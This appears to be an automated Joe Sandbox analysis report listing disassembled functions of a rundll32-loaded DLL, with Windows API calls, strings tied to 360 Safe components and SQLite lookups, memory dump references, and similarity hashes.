SysAllocString.OLEAUT32 ref: 000000018006495E
GetFileAttributesW.KERNEL32 ref: 0000000180064BC3
??_V@YAXPEAX@Z.MSVCRT ref: 0000000180064D1C
??3@YAXPEAX@Z.MSVCRT ref: 0000000180064D8E
LeaveCriticalSection.KERNEL32 ref: 0000000180064DAC

Strings

360util, xrefs: 00000001800649C6, 0000000180064C35

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: ??3@CriticalSectionString$??2@AllocAttributesEnterFileFreeLeavememmove
String ID: 360util
API String ID: 2488163691-2294763832
Opcode ID: 04b2a6e28f52e73c8fb9b448fab7648155792c5097cb6c97d153a05ebb3aa3d7
Instruction ID: 9938724ed40c23cc8900e9648d175c046ed33f6fe674e618e7d9782a5817fc1c
Opcode Fuzzy Hash: 04b2a6e28f52e73c8fb9b448fab7648155792c5097cb6c97d153a05ebb3aa3d7
Instruction Fuzzy Hash: AE029C73B01B488AEB91CB64D8443DD33A6FB48798F519226EE592BB94DF38C619C344

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180070760 Relevance: 15.1, APIs: 10, Instructions: 88COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000000018007078B
memset.MSVCRT ref: 00000001800707E0
RtlCaptureContext.KERNEL32 ref: 00000001800707FC
RtlLookupFunctionEntry.KERNEL32 ref: 0000000180070814
RtlVirtualUnwind.KERNEL32 ref: 0000000180070852
IsDebuggerPresent.KERNEL32 ref: 0000000180070893
SetUnhandledExceptionFilter.KERNEL32 ref: 000000018007089D
UnhandledExceptionFilter.KERNEL32 ref: 00000001800708A8
GetCurrentProcess.KERNEL32 ref: 00000001800708BE
TerminateProcess.KERNEL32 ref: 00000001800708CC

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: ExceptionFilterPresentProcessUnhandled$CaptureContextCurrentDebuggerEntryFeatureFunctionLookupProcessorTerminateUnwindVirtualmemset
String ID:
API String ID: 2775880128-0
Opcode ID: 720e268603e6e9f10860910523c2ba7112bd240762bfe9a634b271c2e63346d6
Instruction ID: 97518c6b28749f0b1885d3d6b1dd33bd68934808d59c248e1302251445d11ba7
Opcode Fuzzy Hash: 720e268603e6e9f10860910523c2ba7112bd240762bfe9a634b271c2e63346d6
Instruction Fuzzy Hash: 1E413032A14B858AE751CF60EC503ED7360F799788F119229EA9D46B69EF78C398C700

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180049050 Relevance: 15.1, APIs: 10, Instructions: 70COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 0000000180049077
GetCurrentProcess.KERNEL32 ref: 0000000180049085
OpenProcessToken.ADVAPI32 ref: 000000018004909B
LookupPrivilegeValueW.ADVAPI32 ref: 00000001800490B4
SetLastError.KERNEL32 ref: 00000001800490DA
AdjustTokenPrivileges.ADVAPI32 ref: 00000001800490FA
GetLastError.KERNEL32 ref: 0000000180049104
CloseHandle.KERNEL32 ref: 0000000180049117
CloseHandle.KERNEL32 ref: 0000000180049120
OpenProcess.KERNEL32 ref: 000000018004914F

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Process$CloseCurrentErrorHandleLastOpenToken$AdjustLookupPrivilegePrivilegesValue
String ID:
API String ID: 2007143780-0
Opcode ID: 6a90cf9bb053f436ae0415ad8c3242d222e7ab952c09d034660e141397cb4a9e
Instruction ID: d46f0c18e1a39d64aeb05f722a7361000aff992e322ccff9c5dcc36b437ee35a
Opcode Fuzzy Hash: 6a90cf9bb053f436ae0415ad8c3242d222e7ab952c09d034660e141397cb4a9e
Instruction Fuzzy Hash: 2E218032604B4982EB919F61E8583DA63A1FB8CBD5F458035FA9E47B64DF3CC6498B04

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180017FE8 Relevance: 13.8, APIs: 9, Instructions: 322COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0000000180018020
memmove.MSVCRT ref: 0000000180018188
??_V@YAXPEAX@Z.MSVCRT ref: 00000001800181E8
??_V@YAXPEAX@Z.MSVCRT ref: 000000018001820A
??3@YAXPEAX@Z.MSVCRT ref: 000000018001824D

Part of subcall function 0000000180044250: EnterCriticalSection.KERNEL32 ref: 0000000180044280
Part of subcall function 0000000180044250: LeaveCriticalSection.KERNEL32 ref: 00000001800442BA

??_V@YAXPEAX@Z.MSVCRT ref: 0000000180018278
??_V@YAXPEAX@Z.MSVCRT ref: 00000001800182AD
??_V@YAXPEAX@Z.MSVCRT ref: 00000001800182D5
??_V@YAXPEAX@Z.MSVCRT ref: 000000018001845E

Part of subcall function 00000001800429F4: ??_V@YAXPEAX@Z.MSVCRT ref: 0000000180042AAA

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: CriticalSection$??3@CountEnterLeaveTickmemmove
String ID:
API String ID: 1944083165-0
Opcode ID: e7dc1351d672686ce6982c514aa1efe126a088afe47b95bc729bfb6aef2c92dc
Instruction ID: f41da155b52ef09f3583e4d9bfd8bf17b476c2db053c24b9ffbabfba65fc2eed
Opcode Fuzzy Hash: e7dc1351d672686ce6982c514aa1efe126a088afe47b95bc729bfb6aef2c92dc
Instruction Fuzzy Hash: 37E15932B01F449AEB92CFA1E8403DD33B6F748798F148125EE5967B98DE34C65AD344

Uniqueness

Uniqueness Score: -1.00%

Function 000000018006A994 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 339COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 000000018006A9D6

Part of subcall function 000000018006BD58: GetFileSizeEx.KERNEL32(?,?,?,?,000000018006A9EB,?,?,?,?,?,?,?,?,?,?,00000003), ref: 000000018006BD5C
Part of subcall function 000000018006BD58: _swprintf_c_l.LIBCMT ref: 000000018006BD74

Part of subcall function 000000018006A2B8: malloc.MSVCRT(?,?,?,0000000180069638), ref: 000000018006DF0A
Part of subcall function 000000018006A2B8: SetLastError.KERNEL32(?,?,?,0000000180069638), ref: 000000018006DF1B

_swprintf_c_l.LIBCMT ref: 000000018006AA1B
_swprintf_c_l.LIBCMT ref: 000000018006AA86
_swprintf_c_l.LIBCMT ref: 000000018006AB3B
_swprintf_c_l.LIBCMT ref: 000000018006AD15

Strings

INIT, xrefs: 000000018006AD63

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: _swprintf_c_l$ErrorFileLastSizemallocmemset
String ID: INIT
API String ID: 2772675779-4041279936
Opcode ID: 91801e61f8e34b5680577b6ef1157ad949fcf405e34d1d65f93b8e184a0d9fad
Instruction ID: 738f7e56dffb12879fa424a41098a8b7db62e01a67729e30f645ff56db629163
Opcode Fuzzy Hash: 91801e61f8e34b5680577b6ef1157ad949fcf405e34d1d65f93b8e184a0d9fad
Instruction Fuzzy Hash: 31E192727043588BF7A6EB6598507EA77A6F70D7C8F54C029AE5A43B86DF34C608CB10

Uniqueness

Uniqueness Score: -1.00%

Function 000000018005912C Relevance: 10.7, APIs: 7, Instructions: 202COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 000000018005917B
memset.MSVCRT ref: 0000000180059194
memset.MSVCRT ref: 00000001800591C8
EnumDisplayDevicesW.USER32 ref: 00000001800593C6
memset.MSVCRT ref: 00000001800593E3
EnumDisplayDevicesW.USER32 ref: 0000000180059401

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: memset$DevicesDisplayEnum
String ID:
API String ID: 2856225746-0
Opcode ID: 5c5709e5d7299c401f45f5ffd4562792fd3562d72889c1e19fc8d239cebed65d
Instruction ID: 90789e0161200a82d414c2e2bf23b1b10d1e56c07e73b18e3e2605f8b4aac2a4
Opcode Fuzzy Hash: 5c5709e5d7299c401f45f5ffd4562792fd3562d72889c1e19fc8d239cebed65d
Instruction Fuzzy Hash: EA918C32A04A8892E7A2CF75C5053ED6761F7987C8F459202EF8D2769ADF75D78AC300

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180010B58 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 146registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,00000000,00000000,00000040,?,0000000180013F90), ref: 0000000180010BE9
RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,?,?,00000000,00000000,00000040,?,0000000180013F90), ref: 0000000180010C46
memmove.MSVCRT(?,?,?,?,?,?,?,?,00000000,00000000,00000040,?,0000000180013F90), ref: 0000000180010D0F
??_V@YAXPEAX@Z.MSVCRT ref: 0000000180010D31
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,00000000,00000000,00000040,?,0000000180013F90), ref: 0000000180010D3B

Strings

360scan, xrefs: 0000000180010BBB

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: CloseOpenQueryValuememmove
String ID: 360scan
API String ID: 1121107697-2450673717
Opcode ID: 220e67dd3970d468599f7a797be11ec42a8334a823f280886d40bb2abff1120a
Instruction ID: 8412be06b917c2556790a81d519247f335b1f81f587c3bd72331bc97ccab05af
Opcode Fuzzy Hash: 220e67dd3970d468599f7a797be11ec42a8334a823f280886d40bb2abff1120a
Instruction Fuzzy Hash: B551F336700A4889FBA6CBB5E8107ED3760BB487E8F548215EEA917B95DF74C649C700

Uniqueness

Uniqueness Score: -1.00%

Function 000000018008023C Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

_CxxThrowException.MSVCRT ref: 0000000180080256
_CxxThrowException.MSVCRT ref: 0000000180080276
_CxxThrowException.MSVCRT ref: 0000000180080296

Part of subcall function 000000018000EF8C: ??3@YAXPEAX@Z.MSVCRT ref: 000000018000F01A

_CxxThrowException.MSVCRT ref: 00000001800802BA
_CxxThrowException.MSVCRT ref: 00000001800802DA
_CxxThrowException.MSVCRT ref: 00000001800802FA
??3@YAXPEAX@Z.MSVCRT ref: 0000000180080312

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: ExceptionThrow$??3@
String ID:
API String ID: 3542664073-0
Opcode ID: 4077b6000bdbe81cdcb22badff92ad6060c6f4ec82431c923b1cffb770fd83d1
Instruction ID: f77bb453ddad34bb426a0367fc3509630a9405fc871705a0e6efaa82900c553f
Opcode Fuzzy Hash: 4077b6000bdbe81cdcb22badff92ad6060c6f4ec82431c923b1cffb770fd83d1
Instruction Fuzzy Hash: 35216A72B00A88C9E75DFE33B8423EB6212ABD87C0F18D435BA594B69BDE25C5168740

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180066C3C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0000000180066C52
GetLastError.KERNEL32 ref: 0000000180066C9D
IsDebuggerPresent.KERNEL32 ref: 0000000180066CB5
OutputDebugStringW.KERNEL32 ref: 0000000180066CC6

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 0000000180066CBF

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: DebugDebuggerErrorLastOutputPresentStringmemset
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 1848478996-631824599
Opcode ID: 9f3b69b346ce0167d1f9eabdb45a87455ea8902d3636c2fa194e63da2080b7c6
Instruction ID: 5420fd47393a03a9017ccb442b178d5ad27f9d1acba3036b184651f5d30fce96
Opcode Fuzzy Hash: 9f3b69b346ce0167d1f9eabdb45a87455ea8902d3636c2fa194e63da2080b7c6
Instruction Fuzzy Hash: FC117032710B4997F7869B22EE453E932A1FB58395F50C125E75982AA0EF3CD67CC710

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180082A18 Relevance: 7.6, APIs: 6, Instructions: 62COMMON

Download Yara Rule

APIs

_CxxThrowException.MSVCRT ref: 0000000180082A35
_CxxThrowException.MSVCRT ref: 0000000180082A55
_CxxThrowException.MSVCRT ref: 0000000180082A75
_CxxThrowException.MSVCRT ref: 0000000180082A95
_CxxThrowException.MSVCRT ref: 0000000180082AB8
_CxxThrowException.MSVCRT ref: 0000000180082ADB

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: ExceptionThrow
String ID:
API String ID: 432778473-0
Opcode ID: 51705d7ffc1c5a9faf17d18654f459016f05baa871bea5d42b40ed88e15a0c9d
Instruction ID: 0cc55a271704fcaf4879220f63c9cc24c35a4ef39e1216f676686ee34d186413
Opcode Fuzzy Hash: 51705d7ffc1c5a9faf17d18654f459016f05baa871bea5d42b40ed88e15a0c9d
Instruction Fuzzy Hash: CE118471714A88C9E75EFE33A8027EB5312ABDC7C0F14D434B9894B65BCF25C6164300

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180062600 Relevance: 5.2, APIs: 4, Instructions: 248COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00000001800626EE
memset.MSVCRT ref: 0000000180062710
memmove.MSVCRT ref: 00000001800627F5
memmove.MSVCRT ref: 0000000180062865

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: memmovememset
String ID:
API String ID: 1288253900-0
Opcode ID: 25317eca67bb0a3083e8d95f7975eeecdd6a0a887f58df33bf998c20beef77dc
Instruction ID: 53b279b989bf8eb66429a88fea8492b1387e1814281b1786c9cbc4725fb6e079
Opcode Fuzzy Hash: 25317eca67bb0a3083e8d95f7975eeecdd6a0a887f58df33bf998c20beef77dc
Instruction Fuzzy Hash: 56A1A273A146D48FD795CF79D8407AC7BE1F389788F548126EA9997B48EB38C205CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000018006A2C8 Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

DeviceIoControl.KERNEL32 ref: 000000018006A2F1

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: ControlDevice
String ID:
API String ID: 2352790924-0
Opcode ID: a66e1d163aca22c0d64387c7a093102cf96f82ef91a8c2df69456084ab1fc6cd
Instruction ID: 1e54cb40d621f6ee58c2f67f74a10768d1db0efbd2ae079103c51a30650bf8b3
Opcode Fuzzy Hash: a66e1d163aca22c0d64387c7a093102cf96f82ef91a8c2df69456084ab1fc6cd
Instruction Fuzzy Hash: 68D04276928B84CBD6A09B18F48430AB7A0F388794F501215EBCD46B29DB3CC2558F04

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180060FE0 Relevance: 59.6, APIs: 17, Strings: 17, Instructions: 126libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 0000000180061027
GetProcAddress.KERNEL32 ref: 0000000180061044
GetProcAddress.KERNEL32 ref: 0000000180061061
GetProcAddress.KERNEL32 ref: 000000018006107E
GetProcAddress.KERNEL32 ref: 000000018006109B
GetProcAddress.KERNEL32 ref: 00000001800610B8
GetProcAddress.KERNEL32 ref: 00000001800610D5
GetProcAddress.KERNEL32 ref: 00000001800610F2
GetProcAddress.KERNEL32 ref: 000000018006110F
GetProcAddress.KERNEL32 ref: 000000018006112C
GetProcAddress.KERNEL32 ref: 0000000180061149
GetProcAddress.KERNEL32 ref: 0000000180061166
GetProcAddress.KERNEL32 ref: 0000000180061183
GetProcAddress.KERNEL32 ref: 000000018006119C
GetProcAddress.KERNEL32 ref: 00000001800611B5
GetProcAddress.KERNEL32 ref: 00000001800611D1

Strings

sqlite3_column_int64, xrefs: 000000018006117C
sqlite3_open16, xrefs: 000000018006101D
sqlite3_finalize, xrefs: 0000000180061195
sqlite3_bind_parameter_index, xrefs: 00000001800611E6
sqlite3_bind_text16, xrefs: 0000000180061108
sqlite3_bind_blob, xrefs: 00000001800610EB
sqlite3_prepare16_v2, xrefs: 0000000180061077
sqlite3_bind_int64, xrefs: 00000001800610B1
sqlite3_column_int, xrefs: 000000018006115F
sqlite3_step, xrefs: 00000001800611AE
sqlite3_column_blob, xrefs: 0000000180061125
sqlite3_column_text16, xrefs: 0000000180061142
sqlite3_close, xrefs: 000000018006103D
sqlite3_bind_int, xrefs: 00000001800610CE
sqlite3_column_bytes, xrefs: 00000001800611CA
sqlite3_exec, xrefs: 000000018006105A
sqlite3_reset, xrefs: 0000000180061094

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: AddressProc
String ID: sqlite3_bind_blob$sqlite3_bind_int$sqlite3_bind_int64$sqlite3_bind_parameter_index$sqlite3_bind_text16$sqlite3_close$sqlite3_column_blob$sqlite3_column_bytes$sqlite3_column_int$sqlite3_column_int64$sqlite3_column_text16$sqlite3_exec$sqlite3_finalize$sqlite3_open16$sqlite3_prepare16_v2$sqlite3_reset$sqlite3_step
API String ID: 190572456-2634604785
Opcode ID: c6900063e6f1f58e840ab128dafbd2c95afe69325bb9c3ee8f7ad832e163feb1
Instruction ID: 5824c6e44f34b1b970dc4f09c8d16c86c5da5fb83a6df47551891ccc5cd06f94
Opcode Fuzzy Hash: c6900063e6f1f58e840ab128dafbd2c95afe69325bb9c3ee8f7ad832e163feb1
Instruction Fuzzy Hash: D351A271201F4EA5EF968BA4E8913D833A1FB4CBD7F19D125A92D46364EF38C698C710

Uniqueness

Uniqueness Score: -1.00%

Function 000000018005AC40 Relevance: 45.7, APIs: 18, Strings: 8, Instructions: 242COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 000000018005AD27
VariantInit.OLEAUT32 ref: 000000018005AD40
VariantClear.OLEAUT32 ref: 000000018005AD67
VariantClear.OLEAUT32 ref: 000000018005AD72
VariantClear.OLEAUT32 ref: 000000018005AF35
VariantClear.OLEAUT32 ref: 000000018005AF40

Strings

pop_count, xrefs: 000000018005AEAC
install_first_open, xrefs: 000000018005AE3C
update_first_open, xrefs: 000000018005AE57
value, xrefs: 000000018005AD99
propoganda, xrefs: 000000018005AE90
//root/config/item, xrefs: 000000018005AC7D
tray_startup, xrefs: 000000018005AE73
name, xrefs: 000000018005AD52

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Variant$Clear$Init
String ID: //root/config/item$install_first_open$name$pop_count$propoganda$tray_startup$update_first_open$value
API String ID: 3740757921-2166998829
Opcode ID: da0fe18e004557cc7b0f2f3d8356101b6c2bfabc220260c257d30514f78ba6f4
Instruction ID: aff580d4b75deea64deb7e46e4065f56afbdc634fa72071d76af76b76e89fc57
Opcode Fuzzy Hash: da0fe18e004557cc7b0f2f3d8356101b6c2bfabc220260c257d30514f78ba6f4
Instruction Fuzzy Hash: CDB12A72705A09DAFB95CF65D8903EC27B0FB49B99F149421FA0EA3A64DF35CA48C340

Uniqueness

Uniqueness Score: -1.00%

Function 000000018006442C Relevance: 45.7, APIs: 17, Strings: 9, Instructions: 170libraryloaderCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0000000180064485
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 000000018006448F
GetLastError.KERNEL32 ref: 000000018006449C
EnterCriticalSection.KERNEL32 ref: 00000001800644C5
memset.MSVCRT ref: 00000001800644DB
GetModuleFileNameW.KERNEL32 ref: 00000001800644F4
PathAppendW.SHLWAPI ref: 0000000180064508
PathAppendW.SHLWAPI ref: 000000018006451C
GetProcAddress.KERNEL32 ref: 0000000180064549
GetProcAddress.KERNEL32 ref: 000000018006455E
GetProcAddress.KERNEL32 ref: 0000000180064573
GetProcAddress.KERNEL32 ref: 0000000180064588
GetProcAddress.KERNEL32 ref: 000000018006459D
memset.MSVCRT ref: 00000001800645E5
FreeLibrary.KERNEL32 ref: 0000000180064691
LeaveCriticalSection.KERNEL32 ref: 00000001800646A3
??3@YAXPEAX@Z.MSVCRT ref: 00000001800646FD

Strings

..\deepscan\, xrefs: 00000001800644FA
360Safe, xrefs: 000000018006460E
cloudcom2.dll, xrefs: 000000018006450E
QuerySetOption, xrefs: 0000000180064592
QueryFileCancel, xrefs: 000000018006457D
QueryFilesEx2, xrefs: 0000000180064568
360util, xrefs: 0000000180064628
QueryFileClose, xrefs: 0000000180064553
QueryFileCreate, xrefs: 000000018006453F

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
